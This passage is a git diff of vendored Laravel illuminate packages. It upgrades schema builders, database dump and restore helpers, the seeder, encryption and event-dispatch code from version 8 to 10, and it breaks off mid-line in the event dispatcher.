public function dropAllViews() $this->grammar->compileDropAllViews($views) ); } - - /** - * Get all of the table names for the database. - * - * @return array - */ - public function getAllTables() - { - return $this->connection->select( - $this->grammar->compileGetAllTables() - ); - } - - /** - * Get all of the view names for the database. - * - * @return array - */ - public function getAllViews() - { - return $this->connection->select( - $this->grammar->compileGetAllViews() - ); - } } diff --git a/vendor/illuminate/database/Schema/MySqlSchemaState.php b/vendor/illuminate/database/Schema/MySqlSchemaState.php index e0b0103d3..2514c18bd 100644 --- a/vendor/illuminate/database/Schema/MySqlSchemaState.php +++ b/vendor/illuminate/database/Schema/MySqlSchemaState.php @@ -53,7 +53,7 @@ protected function removeAutoIncrementingState(string $path) protected function appendMigrationData(string $path) { $process = $this->executeDumpProcess($this->makeProcess( - $this->baseDumpCommand().' '.$this->migrationTable.' --no-create-info --skip-extended-insert --skip-routines --compact' + $this->baseDumpCommand().' '.$this->migrationTable.' --no-create-info --skip-extended-insert --skip-routines --compact --complete-insert' ), null, array_merge($this->baseVariables($this->connection->getConfig()), [ // ])); @@ -103,10 +103,16 @@ protected function connectionString() { $value = ' --user="${:LARAVEL_LOAD_USER}" --password="${:LARAVEL_LOAD_PASSWORD}"'; - $value .= $this->connection->getConfig()['unix_socket'] ?? false + $config = $this->connection->getConfig(); + + $value .= $config['unix_socket'] ?? false ? ' --socket="${:LARAVEL_LOAD_SOCKET}"' : ' --host="${:LARAVEL_LOAD_HOST}" --port="${:LARAVEL_LOAD_PORT}"'; + if (isset($config['options'][\PDO::MYSQL_ATTR_SSL_CA])) { + $value .= ' --ssl-ca="${:LARAVEL_LOAD_SSL_CA}"'; + } + return $value; } @@ -118,7 +124,7 @@ protected function connectionString() */ protected function baseVariables(array $config) { - $config['host'] = $config['host'] ?? ''; + $config['host'] ??= ''; return [ 'LARAVEL_LOAD_SOCKET' => $config['unix_socket'] ?? '', @@ -127,6 +133,7 @@ protected function baseVariables(array $config) 'LARAVEL_LOAD_USER' => $config['username'], 'LARAVEL_LOAD_PASSWORD' => $config['password'] ?? '', 'LARAVEL_LOAD_DATABASE' => $config['database'], + 'LARAVEL_LOAD_SSL_CA' => $config['options'][\PDO::MYSQL_ATTR_SSL_CA] ?? '', ]; } @@ -149,7 +156,7 @@ protected function executeDumpProcess(Process $process, $output, array $variable ), $output, $variables); } - if (Str::contains($e->getMessage(), ['set-gtid-purged'])) { + if (str_contains($e->getMessage(), 'set-gtid-purged')) { return $this->executeDumpProcess(Process::fromShellCommandLine( str_replace(' --set-gtid-purged=OFF', '', $process->getCommandLine()) ), $output, $variables); diff --git a/vendor/illuminate/database/Schema/PostgresBuilder.php b/vendor/illuminate/database/Schema/PostgresBuilder.php index ce1b5770a..5b62187b4 100644 --- a/vendor/illuminate/database/Schema/PostgresBuilder.php +++ b/vendor/illuminate/database/Schema/PostgresBuilder.php @@ -2,8 +2,14 @@ namespace Illuminate\Database\Schema; +use Illuminate\Database\Concerns\ParsesSearchPath; + class PostgresBuilder extends Builder { + use ParsesSearchPath { + parseSearchPath as baseParseSearchPath; + } + /** * Create a database in the schema. * @@ -38,15 +44,63 @@ public function dropDatabaseIfExists($name) */ public function hasTable($table) { - [$schema, $table] = $this->parseSchemaAndTable($table); + [$database, $schema, $table] = $this->parseSchemaAndTable($table); $table = $this->connection->getTablePrefix().$table; - return count($this->connection->select( - $this->grammar->compileTableExists(), [$schema, $table] + return count($this->connection->selectFromWriteConnection( + $this->grammar->compileTableExists(), [$database, $schema, $table] )) > 0; } + /** + * Get the user-defined types that belong to the database. + * + * @return array + */ + public function getTypes() + { + return $this->connection->getPostProcessor()->processTypes( + $this->connection->selectFromWriteConnection($this->grammar->compileTypes()) + ); + } + + /** + * Get all of the table names for the database. + * + * @deprecated Will be removed in a future Laravel version. + * + * @return array + */ + public function getAllTables() + { + return $this->connection->select( + $this->grammar->compileGetAllTables( + $this->parseSearchPath( + $this->connection->getConfig('search_path') ?: $this->connection->getConfig('schema') + ) + ) + ); + } + + /** + * Get all of the view names for the database. + * + * @deprecated Will be removed in a future Laravel version. + * + * @return array + */ + public function getAllViews() + { + return $this->connection->select( + $this->grammar->compileGetAllViews( + $this->parseSearchPath( + $this->connection->getConfig('search_path') ?: $this->connection->getConfig('schema') + ) + ) + ); + } + /** * Drop all tables from the database. * @@ -56,15 +110,18 @@ public function dropAllTables() { $tables = []; - $excludedTables = $this->connection->getConfig('dont_drop') ?? ['spatial_ref_sys']; + $excludedTables = $this->grammar->escapeNames( + $this->connection->getConfig('dont_drop') ?? ['spatial_ref_sys'] + ); - foreach ($this->getAllTables() as $row) { - $row = (array) $row; + $schemas = $this->grammar->escapeNames($this->getSchemas()); - $table = reset($row); + foreach ($this->getTables() as $table) { + $qualifiedName = $table['schema'].'.'.$table['name']; - if (! in_array($table, $excludedTables)) { - $tables[] = $table; + if (empty(array_intersect($this->grammar->escapeNames([$table['name'], $qualifiedName]), $excludedTables)) + && in_array($this->grammar->escapeNames([$table['schema']])[0], $schemas)) { + $tables[] = $qualifiedName; } } @@ -86,10 +143,12 @@ public function dropAllViews() { $views = []; - foreach ($this->getAllViews() as $row) { - $row = (array) $row; + $schemas = $this->grammar->escapeNames($this->getSchemas()); - $views[] = reset($row); + foreach ($this->getViews() as $view) { + if (in_array($this->grammar->escapeNames([$view['schema']])[0], $schemas)) { + $views[] = $view['schema'].'.'.$view['name']; + } } if (empty($views)) { @@ -101,6 +160,20 @@ public function dropAllViews() ); } + /** + * Get all of the type names for the database. + * + * @deprecated Will be removed in a future Laravel version. + * + * @return array + */ + public function getAllTypes() + { + return $this->connection->select( + $this->grammar->compileGetAllTypes() + ); + } + /** * Drop all types from the database. * @@ -109,95 +182,139 @@ public function dropAllViews() public function dropAllTypes() { $types = []; + $domains = []; - foreach ($this->getAllTypes() as $row) { - $row = (array) $row; + $schemas = $this->grammar->escapeNames($this->getSchemas()); - $types[] = reset($row); + foreach ($this->getTypes() as $type) { + if (! $type['implicit'] && in_array($this->grammar->escapeNames([$type['schema']])[0], $schemas)) { + if ($type['type'] === 'domain') { + $domains[] = $type['schema'].'.'.$type['name']; + } else { + $types[] = $type['schema'].'.'.$type['name']; + } + } } - if (empty($types)) { - return; + if (! empty($types)) { + $this->connection->statement($this->grammar->compileDropAllTypes($types)); } - $this->connection->statement( - $this->grammar->compileDropAllTypes($types) - ); + if (! empty($domains)) { + $this->connection->statement($this->grammar->compileDropAllDomains($domains)); + } } /** - * Get all of the table names for the database. + * Get the columns for a given table. * + * @param string $table * @return array */ - public function getAllTables() + public function getColumns($table) { - return $this->connection->select( - $this->grammar->compileGetAllTables((array) $this->connection->getConfig('schema')) + [$database, $schema, $table] = $this->parseSchemaAndTable($table); + + $table = $this->connection->getTablePrefix().$table; + + $results = $this->connection->selectFromWriteConnection( + $this->grammar->compileColumns($database, $schema, $table) ); + + return $this->connection->getPostProcessor()->processColumns($results); } /** - * Get all of the view names for the database. + * Get the indexes for a given table. * + * @param string $table * @return array */ - public function getAllViews() + public function getIndexes($table) { - return $this->connection->select( - $this->grammar->compileGetAllViews((array) $this->connection->getConfig('schema')) + [, $schema, $table] = $this->parseSchemaAndTable($table); + + $table = $this->connection->getTablePrefix().$table; + + return $this->connection->getPostProcessor()->processIndexes( + $this->connection->selectFromWriteConnection($this->grammar->compileIndexes($schema, $table)) ); } /** - * Get all of the type names for the database. + * Get the foreign keys for a given table. * + * @param string $table * @return array */ - public function getAllTypes() + public function getForeignKeys($table) { - return $this->connection->select( - $this->grammar->compileGetAllTypes() + [, $schema, $table] = $this->parseSchemaAndTable($table); + + $table = $this->connection->getTablePrefix().$table; + + return $this->connection->getPostProcessor()->processForeignKeys( + $this->connection->selectFromWriteConnection($this->grammar->compileForeignKeys($schema, $table)) ); } /** - * Get the column listing for a given table. + * Get the schemas for the connection. * - * @param string $table * @return array */ - public function getColumnListing($table) + protected function getSchemas() { - [$schema, $table] = $this->parseSchemaAndTable($table); - - $table = $this->connection->getTablePrefix().$table; - - $results = $this->connection->select( - $this->grammar->compileColumnListing(), [$schema, $table] + return $this->parseSearchPath( + $this->connection->getConfig('search_path') ?: $this->connection->getConfig('schema') ?: 'public' ); - - return $this->connection->getPostProcessor()->processColumnListing($results); } /** - * Parse the table name and extract the schema and table. + * Parse the database object reference and extract the database, schema, and table. * - * @param string $table + * @param string $reference * @return array */ - protected function parseSchemaAndTable($table) + protected function parseSchemaAndTable($reference) { - $table = explode('.', $table); + $parts = explode('.', $reference); - if (is_array($schema = $this->connection->getConfig('schema'))) { - if (in_array($table[0], $schema)) { - return [array_shift($table), implode('.', $table)]; - } + $database = $this->connection->getConfig('database'); + + // If the reference contains a database name, we will use that instead of the + // default database name for the connection. This allows the database name + // to be specified in the query instead of at the full connection level. + if (count($parts) === 3) { + $database = $parts[0]; + array_shift($parts); + } - $schema = head($schema); + // We will use the default schema unless the schema has been specified in the + // query. If the schema has been specified in the query then we can use it + // instead of a default schema configured in the connection search path. + $schema = $this->getSchemas()[0]; + + if (count($parts) === 2) { + $schema = $parts[0]; + array_shift($parts); } - return [$schema ?: 'public', implode('.', $table)]; + return [$database, $schema, $parts[0]]; + } + + /** + * Parse the "search_path" configuration value into an array. + * + * @param string|array|null $searchPath + * @return array + */ + protected function parseSearchPath($searchPath) + { + return array_map(function ($schema) { + return $schema === '$user' + ? $this->connection->getConfig('username') + : $schema; + }, $this->baseParseSearchPath($searchPath)); } } diff --git a/vendor/illuminate/database/Schema/PostgresSchemaState.php b/vendor/illuminate/database/Schema/PostgresSchemaState.php index 3e2f5666e..b3f9361bc 100644 --- a/vendor/illuminate/database/Schema/PostgresSchemaState.php +++ b/vendor/illuminate/database/Schema/PostgresSchemaState.php @@ -3,7 +3,6 @@ namespace Illuminate\Database\Schema; use Illuminate\Database\Connection; -use Illuminate\Support\Str; class PostgresSchemaState extends SchemaState { @@ -16,19 +15,16 @@ class PostgresSchemaState extends SchemaState */ public function dump(Connection $connection, $path) { - $excludedTables = collect($connection->getSchemaBuilder()->getAllTables()) - ->map->tablename - ->reject(function ($table) { - return $table === $this->migrationTable; - })->map(function ($table) { - return '--exclude-table-data="*.'.$table.'"'; - })->implode(' '); + $commands = collect([ + $this->baseDumpCommand().' --schema-only > '.$path, + $this->baseDumpCommand().' -t '.$this->migrationTable.' --data-only >> '.$path, + ]); - $this->makeProcess( - $this->baseDumpCommand().' --file="${:LARAVEL_LOAD_PATH}" '.$excludedTables - )->mustRun($this->output, array_merge($this->baseVariables($this->connection->getConfig()), [ - 'LARAVEL_LOAD_PATH' => $path, - ])); + $commands->map(function ($command, $path) { + $this->makeProcess($command)->mustRun($this->output, array_merge($this->baseVariables($this->connection->getConfig()), [ + 'LARAVEL_LOAD_PATH' => $path, + ])); + }); } /** @@ -41,7 +37,7 @@ public function load($path) { $command = 'pg_restore --no-owner --no-acl --clean --if-exists --host="${:LARAVEL_LOAD_HOST}" --port="${:LARAVEL_LOAD_PORT}" --username="${:LARAVEL_LOAD_USER}" --dbname="${:LARAVEL_LOAD_DATABASE}" "${:LARAVEL_LOAD_PATH}"'; - if (Str::endsWith($path, '.sql')) { + if (str_ends_with($path, '.sql')) { $command = 'psql --file="${:LARAVEL_LOAD_PATH}" --host="${:LARAVEL_LOAD_HOST}" --port="${:LARAVEL_LOAD_PORT}" --username="${:LARAVEL_LOAD_USER}" --dbname="${:LARAVEL_LOAD_DATABASE}"'; } @@ -59,7 +55,7 @@ public function load($path) */ protected function baseDumpCommand() { - return 'pg_dump --no-owner --no-acl -Fc --host="${:LARAVEL_LOAD_HOST}" --port="${:LARAVEL_LOAD_PORT}" --username="${:LARAVEL_LOAD_USER}" --dbname="${:LARAVEL_LOAD_DATABASE}"'; + return 'pg_dump --no-owner --no-acl --host="${:LARAVEL_LOAD_HOST}" --port="${:LARAVEL_LOAD_PORT}" --username="${:LARAVEL_LOAD_USER}" --dbname="${:LARAVEL_LOAD_DATABASE}"'; } /** @@ -70,11 +66,11 @@ protected function baseDumpCommand() */ protected function baseVariables(array $config) { - $config['host'] = $config['host'] ?? ''; + $config['host'] ??= ''; return [ 'LARAVEL_LOAD_HOST' => is_array($config['host']) ? $config['host'][0] : $config['host'], - 'LARAVEL_LOAD_PORT' => $config['port'], + 'LARAVEL_LOAD_PORT' => $config['port'] ?? '', 'LARAVEL_LOAD_USER' => $config['username'], 'PGPASSWORD' => $config['password'], 'LARAVEL_LOAD_DATABASE' => $config['database'], diff --git a/vendor/illuminate/database/Schema/SQLiteBuilder.php b/vendor/illuminate/database/Schema/SQLiteBuilder.php index 3bc1275c6..e7d6e8c90 100644 --- a/vendor/illuminate/database/Schema/SQLiteBuilder.php +++ b/vendor/illuminate/database/Schema/SQLiteBuilder.php @@ -2,6 +2,7 @@ namespace Illuminate\Database\Schema; +use Illuminate\Database\QueryException; use Illuminate\Support\Facades\File; class SQLiteBuilder extends Builder @@ -30,6 +31,55 @@ public function dropDatabaseIfExists($name) : true; } + /** + * Get the tables for the database. + * + * @param bool $withSize + * @return array + */ + public function getTables($withSize = true) + { + if ($withSize) { + try { + $withSize = $this->connection->scalar($this->grammar->compileDbstatExists()); + } catch (QueryException $e) { + $withSize = false; + } + } + + return $this->connection->getPostProcessor()->processTables( + $this->connection->selectFromWriteConnection($this->grammar->compileTables($withSize)) + ); + } + + /** + * Get all of the table names for the database. + * + * @deprecated Will be removed in a future Laravel version. + * + * @return array + */ + public function getAllTables() + { + return $this->connection->select( + $this->grammar->compileGetAllTables() + ); + } + + /** + * Get all of the view names for the database. + * + * @deprecated Will be removed in a future Laravel version. + * + * @return array + */ + public function getAllViews() + { + return $this->connection->select( + $this->grammar->compileGetAllViews() + ); + } + /** * Drop all tables from the database. * diff --git a/vendor/illuminate/database/Schema/SchemaState.php b/vendor/illuminate/database/Schema/SchemaState.php index e6f35ab91..58d9c3a43 100644 --- a/vendor/illuminate/database/Schema/SchemaState.php +++ b/vendor/illuminate/database/Schema/SchemaState.php @@ -86,7 +86,7 @@ abstract public function load($path); /** * Create a new process instance. * - * @param array $arguments + * @param mixed ...$arguments * @return \Symfony\Component\Process\Process */ public function makeProcess(...$arguments) diff --git a/vendor/illuminate/database/Schema/SqlServerBuilder.php b/vendor/illuminate/database/Schema/SqlServerBuilder.php index 93da1cb86..e7717534f 100644 --- a/vendor/illuminate/database/Schema/SqlServerBuilder.php +++ b/vendor/illuminate/database/Schema/SqlServerBuilder.php @@ -51,4 +51,32 @@ public function dropAllViews() { $this->connection->statement($this->grammar->compileDropAllViews()); } + + /** + * Drop all tables from the database. + * + * @deprecated Will be removed in a future Laravel version. + * + * @return array + */ + public function getAllTables() + { + return $this->connection->select( + $this->grammar->compileGetAllTables() + ); + } + + /** + * Get all of the view names for the database. + * + * @deprecated Will be removed in a future Laravel version. + * + * @return array + */ + public function getAllViews() + { + return $this->connection->select( + $this->grammar->compileGetAllViews() + ); + } } diff --git a/vendor/illuminate/database/Schema/SqliteSchemaState.php b/vendor/illuminate/database/Schema/SqliteSchemaState.php index 9a98b6331..10efc7c0a 100644 --- a/vendor/illuminate/database/Schema/SqliteSchemaState.php +++ b/vendor/illuminate/database/Schema/SqliteSchemaState.php @@ -61,6 +61,12 @@ protected function appendMigrationData(string $path) */ public function load($path) { + if ($this->connection->getDatabaseName() === ':memory:') { + $this->connection->getPdo()->exec($this->files->get($path)); + + return; + } + $process = $this->makeProcess($this->baseCommand().' < "${:LARAVEL_LOAD_PATH}"'); $process->mustRun(null, array_merge($this->baseVariables($this->connection->getConfig()), [ diff --git a/vendor/illuminate/database/Seeder.php b/vendor/illuminate/database/Seeder.php index 441fa27d6..bfb48aedf 100644 --- a/vendor/illuminate/database/Seeder.php +++ b/vendor/illuminate/database/Seeder.php @@ -3,7 +3,9 @@ namespace Illuminate\Database; use Illuminate\Console\Command; -use Illuminate\Container\Container; +use Illuminate\Console\View\Components\TwoColumnDetail; +use Illuminate\Contracts\Container\Container; +use Illuminate\Database\Console\Seeds\WithoutModelEvents; use Illuminate\Support\Arr; use InvalidArgumentException; @@ -12,7 +14,7 @@ abstract class Seeder /** * The container instance. * - * @var \Illuminate\Container\Container + * @var \Illuminate\Contracts\Container\Container */ protected $container; @@ -23,6 +25,13 @@ abstract class Seeder */ protected $command; + /** + * Seeders that have been called at least one time. + * + * @var array + */ + protected static $called = []; + /** * Run the given seeder class. * @@ -41,18 +50,28 @@ public function call($class, $silent = false, array $parameters = []) $name = get_class($seeder); if ($silent === false && isset($this->command)) { - $this->command->getOutput()->writeln("Seeding: {$name}"); + with(new TwoColumnDetail($this->command->getOutput()))->render( + $name, + 'RUNNING' + ); } $startTime = microtime(true); $seeder->__invoke($parameters); - $runTime = number_format((microtime(true) - $startTime) * 1000, 2); - if ($silent === false && isset($this->command)) { - $this->command->getOutput()->writeln("Seeded: {$name} ({$runTime}ms)"); + $runTime = number_format((microtime(true) - $startTime) * 1000); + + with(new TwoColumnDetail($this->command->getOutput()))->render( + $name, + "$runTime ms DONE" + ); + + $this->command->getOutput()->writeln(''); } + + static::$called[] = $class; } return $this; @@ -82,6 +101,22 @@ public function callSilent($class, array $parameters = []) $this->call($class, true, $parameters); } + /** + * Run the given seeder class once. + * + * @param array|string $class + * @param bool $silent + * @return void + */ + public function callOnce($class, $silent = false, array $parameters = []) + { + if (in_array($class, static::$called)) { + return; + } + + $this->call($class, $silent, $parameters); + } + /** * Resolve an instance of the given seeder class. * @@ -108,7 +143,7 @@ protected function resolve($class) /** * Set the IoC container instance. * - * @param \Illuminate\Container\Container $container + * @param \Illuminate\Contracts\Container\Container $container * @return $this */ public function setContainer(Container $container) @@ -145,8 +180,16 @@ public function __invoke(array $parameters = []) throw new InvalidArgumentException('Method [run] missing from '.get_class($this)); } - return isset($this->container) - ? $this->container->call([$this, 'run'], $parameters) - : $this->run(...$parameters); + $callback = fn () => isset($this->container) + ? $this->container->call([$this, 'run'], $parameters) + : $this->run(...$parameters); + + $uses = array_flip(class_uses_recursive(static::class)); + + if (isset($uses[WithoutModelEvents::class])) { + $callback = $this->withoutModelEvents($callback); + } + + return $callback(); } } diff --git a/vendor/illuminate/database/SqlServerConnection.php b/vendor/illuminate/database/SqlServerConnection.php index d6a2b7ae9..e376e6fa6 100644 --- a/vendor/illuminate/database/SqlServerConnection.php +++ b/vendor/illuminate/database/SqlServerConnection.php @@ -3,8 +3,7 @@ namespace Illuminate\Database; use Closure; -use Doctrine\DBAL\Driver\PDOSqlsrv\Driver as DoctrineDriver; -use Doctrine\DBAL\Version; +use Exception; use Illuminate\Database\PDO\SqlServerDriver; use Illuminate\Database\Query\Grammars\SqlServerGrammar as QueryGrammar; use Illuminate\Database\Query\Processors\SqlServerProcessor; @@ -56,6 +55,30 @@ public function transaction(Closure $callback, $attempts = 1) } } + /** + * Escape a binary value for safe SQL embedding. + * + * @param string $value + * @return string + */ + protected function escapeBinary($value) + { + $hex = bin2hex($value); + + return "0x{$hex}"; + } + + /** + * Determine if the given database exception was caused by a unique constraint violation. + * + * @param \Exception $exception + * @return bool + */ + protected function isUniqueConstraintError(Exception $exception) + { + return boolval(preg_match('#Cannot insert duplicate key row in object#i', $exception->getMessage())); + } + /** * Get the default query grammar instance. * @@ -63,7 +86,9 @@ public function transaction(Closure $callback, $attempts = 1) */ protected function getDefaultQueryGrammar() { - return $this->withTablePrefix(new QueryGrammar); + ($grammar = new QueryGrammar)->setConnection($this); + + return $this->withTablePrefix($grammar); } /** @@ -87,7 +112,9 @@ public function getSchemaBuilder() */ protected function getDefaultSchemaGrammar() { - return $this->withTablePrefix(new SchemaGrammar); + ($grammar = new SchemaGrammar)->setConnection($this); + + return $this->withTablePrefix($grammar); } /** @@ -116,10 +143,10 @@ protected function getDefaultPostProcessor() /** * Get the Doctrine DBAL driver. * - * @return \Doctrine\DBAL\Driver\PDOSqlsrv\Driver|\Illuminate\Database\PDO\SqlServerDriver + * @return \Illuminate\Database\PDO\SqlServerDriver */ protected function getDoctrineDriver() { - return class_exists(Version::class) ? new DoctrineDriver : new SqlServerDriver; + return new SqlServerDriver; } } diff --git a/vendor/illuminate/database/UniqueConstraintViolationException.php b/vendor/illuminate/database/UniqueConstraintViolationException.php new file mode 100644 index 000000000..13b705b77 --- /dev/null +++ b/vendor/illuminate/database/UniqueConstraintViolationException.php @@ -0,0 +1,7 @@ +=3.0", + "doctrine/dbal": ">=4.0" + }, "suggest": { - "doctrine/dbal": "Required to rename columns and drop SQLite columns (^2.13.3|^3.1.4).", - "fakerphp/faker": "Required to use the eloquent factory builder (^1.9.1).", - "illuminate/console": "Required to use the database commands (^8.0).", - "illuminate/events": "Required to use the observers with Eloquent (^8.0).", - "illuminate/filesystem": "Required to use the migrations (^8.0).", - "illuminate/pagination": "Required to paginate the result set (^8.0).", - "symfony/finder": "Required to use Eloquent model factories (^5.4)." + "ext-filter": "Required to use the Postgres database driver.", + "doctrine/dbal": "Required to rename columns and drop SQLite columns (^3.5.1).", + "fakerphp/faker": "Required to use the eloquent factory builder (^1.21).", + "illuminate/console": "Required to use the database commands (^10.0).", + "illuminate/events": "Required to use the observers with Eloquent (^10.0).", + "illuminate/filesystem": "Required to use the migrations (^10.0).", + "illuminate/pagination": "Required to paginate the result set (^10.0).", + "symfony/finder": "Required to use Eloquent model factories (^6.2)." }, "config": { "sort-packages": true diff --git a/vendor/illuminate/encryption/Encrypter.php b/vendor/illuminate/encryption/Encrypter.php index 9c2a71446..8a8c6d85b 100644 --- a/vendor/illuminate/encryption/Encrypter.php +++ b/vendor/illuminate/encryption/Encrypter.php @@ -99,27 +99,20 @@ public function encrypt($value, $serialize = true) { $iv = random_bytes(openssl_cipher_iv_length(strtolower($this->cipher))); - $tag = ''; - - $value = self::$supportedCiphers[strtolower($this->cipher)]['aead'] - ? \openssl_encrypt( - $serialize ? serialize($value) : $value, - strtolower($this->cipher), $this->key, 0, $iv, $tag - ) - : \openssl_encrypt( - $serialize ? serialize($value) : $value, - strtolower($this->cipher), $this->key, 0, $iv - ); + $value = \openssl_encrypt( + $serialize ? serialize($value) : $value, + strtolower($this->cipher), $this->key, 0, $iv, $tag + ); if ($value === false) { throw new EncryptException('Could not encrypt the data.'); } $iv = base64_encode($iv); - $tag = base64_encode($tag); + $tag = base64_encode($tag ?? ''); $mac = self::$supportedCiphers[strtolower($this->cipher)]['aead'] - ? '' // For AEAD-algoritms, the tag / MAC is returned by openssl_encrypt... + ? '' // For AEAD-algorithms, the tag / MAC is returned by openssl_encrypt... : $this->hash($iv, $value); $json = json_encode(compact('iv', 'value', 'mac', 'tag'), JSON_UNESCAPED_SLASHES); @@ -212,6 +205,10 @@ protected function hash($iv, $value) */ protected function getJsonPayload($payload) { + if (! is_string($payload)) { + throw new DecryptException('The payload is invalid.'); + } + $payload = json_decode(base64_decode($payload), true); // If the payload is not valid JSON or does not have the proper keys set we will @@ -236,8 +233,21 @@ protected function getJsonPayload($payload) */ protected function validPayload($payload) { - return is_array($payload) && isset($payload['iv'], $payload['value'], $payload['mac']) && - strlen(base64_decode($payload['iv'], true)) === openssl_cipher_iv_length(strtolower($this->cipher)); + if (! is_array($payload)) { + return false; + } + + foreach (['iv', 'value', 'mac'] as $item) { + if (! isset($payload[$item]) || ! is_string($payload[$item])) { + return false; + } + } + + if (isset($payload['tag']) && ! is_string($payload['tag'])) { + return false; + } + + return strlen(base64_decode($payload['iv'], true)) === openssl_cipher_iv_length(strtolower($this->cipher)); } /** @@ -271,7 +281,7 @@ protected function ensureTagIsValid($tag) } /** - * Get the encryption key. + * Get the encryption key that the encrypter is currently using. * * @return string */ diff --git a/vendor/illuminate/encryption/EncryptionServiceProvider.php b/vendor/illuminate/encryption/EncryptionServiceProvider.php index 4ef42ba4c..a4d27a372 100644 --- a/vendor/illuminate/encryption/EncryptionServiceProvider.php +++ b/vendor/illuminate/encryption/EncryptionServiceProvider.php @@ -5,7 +5,6 @@ use Illuminate\Support\ServiceProvider; use Illuminate\Support\Str; use Laravel\SerializableClosure\SerializableClosure; -use Opis\Closure\SerializableClosure as OpisSerializableClosure; class EncryptionServiceProvider extends ServiceProvider { @@ -17,7 +16,6 @@ class EncryptionServiceProvider extends ServiceProvider public function register() { $this->registerEncrypter(); - $this->registerOpisSecurityKey(); $this->registerSerializableClosureSecurityKey(); } @@ -35,26 +33,6 @@ protected function registerEncrypter() }); } - /** - * Configure Opis Closure signing for security. - * - * @return void - * - * @deprecated Will be removed in a future Laravel version. - */ - protected function registerOpisSecurityKey() - { - if (\PHP_VERSION_ID < 80100) { - $config = $this->app->make('config')->get('app'); - - if (! class_exists(OpisSerializableClosure::class) || empty($config['key'])) { - return; - } - - OpisSerializableClosure::setSecretKey($this->parseKey($config)); - } - } - /** * Configure Serializable Closure signing for security. * diff --git a/vendor/illuminate/encryption/composer.json b/vendor/illuminate/encryption/composer.json index f90637f00..470919a75 100644 --- a/vendor/illuminate/encryption/composer.json +++ b/vendor/illuminate/encryption/composer.json @@ -14,12 +14,12 @@ } ], "require": { - "php": "^7.3|^8.0", - "ext-json": "*", + "php": "^8.1", + "ext-hash": "*", "ext-mbstring": "*", "ext-openssl": "*", - "illuminate/contracts": "^8.0", - "illuminate/support": "^8.0" + "illuminate/contracts": "^10.0", + "illuminate/support": "^10.0" }, "autoload": { "psr-4": { @@ -28,7 +28,7 @@ }, "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "config": { diff --git a/vendor/illuminate/events/CallQueuedListener.php b/vendor/illuminate/events/CallQueuedListener.php index 6a3900852..4fb662663 100644 --- a/vendor/illuminate/events/CallQueuedListener.php +++ b/vendor/illuminate/events/CallQueuedListener.php @@ -68,6 +68,13 @@ class CallQueuedListener implements ShouldQueue */ public $timeout; + /** + * Indicates if the job should fail if the timeout is exceeded. + * + * @var bool + */ + public $failOnTimeout = false; + /** * Indicates if the job should be encrypted. * diff --git a/vendor/illuminate/events/Dispatcher.php b/vendor/illuminate/events/Dispatcher.php index 5972a8384..22993c36f 100644 --- a/vendor/illuminate/events/Dispatcher.php +++ b/vendor/illuminate/events/Dispatcher.php @@ -9,8 +9,11 @@ use Illuminate\Contracts\Broadcasting\ShouldBroadcast; use Illuminate\Contracts\Container\Container as ContainerContract; use Illuminate\Contracts\Events\Dispatcher as DispatcherContract; +use Illuminate\Contracts\Events\ShouldDispatchAfterCommit; +use Illuminate\Contracts\Events\ShouldHandleEventsAfterCommit; use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; +use Illuminate\Contracts\Queue\ShouldQueueAfterCommit; use Illuminate\Support\Arr; use Illuminate\Support\Str; use Illuminate\Support\Traits\Macroable; @@ -56,6 +59,13 @@ class Dispatcher implements DispatcherContract */ protected $queueResolver; + /** + * The database transaction manager resolver instance. + * + * @var callable + */ + protected $transactionManagerResolver; + /** * Create a new event dispatcher instance. * @@ -91,10 +101,10 @@ public function listen($events, $listener = null) } foreach ((array) $events as $event) { - if (Str::contains($event, '*')) { + if (str_contains($event, '*')) { $this->setupWildcardListen($event, $listener); } else { - $this->listeners[$event][] = $this->makeListener($listener); + $this->listeners[$event][] = $listener; } } } @@ -108,7 +118,7 @@ public function listen($events, $listener = null) */ protected function setupWildcardListen($event, $listener) { - $this->wildcards[$event][] = $this->makeListener($listener, true); + $this->wildcards[$event][] = $listener; $this->wildcardsCache = []; } @@ -147,7 +157,7 @@ public function hasWildcardListeners($eventName) * Register an event and payload to be fired later. * * @param string $event - * @param array $payload + * @param object|array $payload * @return void */ public function push($event, $payload = []) @@ -215,7 +225,7 @@ protected function resolveSubscriber($subscriber) * * @param string|object $event * @param mixed $payload - * @return array|null + * @return mixed */ public function until($event, $payload = []) { @@ -235,10 +245,37 @@ public function dispatch($event, $payload = [], $halt = false) // When the given "event" is actually an object we will assume it is an event // object and use the class as the event name and this event itself as the // payload to the handler, which makes object based events quite simple. - [$event, $payload] = $this->parseEventAndPayload( - $event, $payload - ); + [$isEventObject, $event, $payload] = [ + is_object($event), + ...$this->parseEventAndPayload($event, $payload), + ]; + + // If the event is not intended to be dispatched unless the current database + // transaction is successful, we'll register a callback which will handle + // dispatching this event on the next successful DB transaction commit. + if ($isEventObject && + $payload[0] instanceof ShouldDispatchAfterCommit && + ! is_null($transactions = $this->resolveTransactionManager())) { + $transactions->addCallback( + fn () => $this->invokeListeners($event, $payload, $halt) + ); + + return null; + } + return $this->invokeListeners($event, $payload, $halt); + } + + /** + * Broadcast an event and call its listeners. + * + * @param string|object $event + * @param mixed $payload + * @param bool $halt + * @return array|null + */ + protected function invokeListeners($event, $payload, $halt = false) + { if ($this->shouldBroadcast($payload)) { $this->broadcastEvent($payload[0]); } @@ -328,10 +365,8 @@ protected function broadcastEvent($event) */ public function getListeners($eventName) { - $listeners = $this->listeners[$eventName] ?? []; - $listeners = array_merge( - $listeners, + $this->prepareListeners($eventName), $this->wildcardsCache[$eventName] ?? $this->getWildcardListeners($eventName) ); @@ -352,7 +387,9 @@ protected function getWildcardListeners($eventName) foreach ($this->wildcards as $key => $listeners) { if (Str::is($key, $eventName)) { - $wildcards = array_merge($wildcards, $listeners); + foreach ($listeners as $listener) { + $wildcards[] = $this->makeListener($listener, true); + } } } @@ -370,7 +407,7 @@ protected function addInterfaceListeners($eventName, array $listeners = []) { foreach (class_implements($eventName) as $interface) { if (isset($this->listeners[$interface])) { - foreach ($this->listeners[$interface] as $names) { + foreach ($this->prepareListeners($interface) as $names) { $listeners = array_merge($listeners, (array) $names); } } @@ -379,6 +416,23 @@ protected function addInterfaceListeners($eventName, array $listeners = []) return $listeners; } + /** + * Prepare the listeners for a given event. + * + * @param string $eventName + * @return \Closure[] + */ + protected function prepareListeners(string $eventName) + { + $listeners = []; + + foreach ($this->listeners[$eventName] ?? [] as $listener) { + $listeners[] = 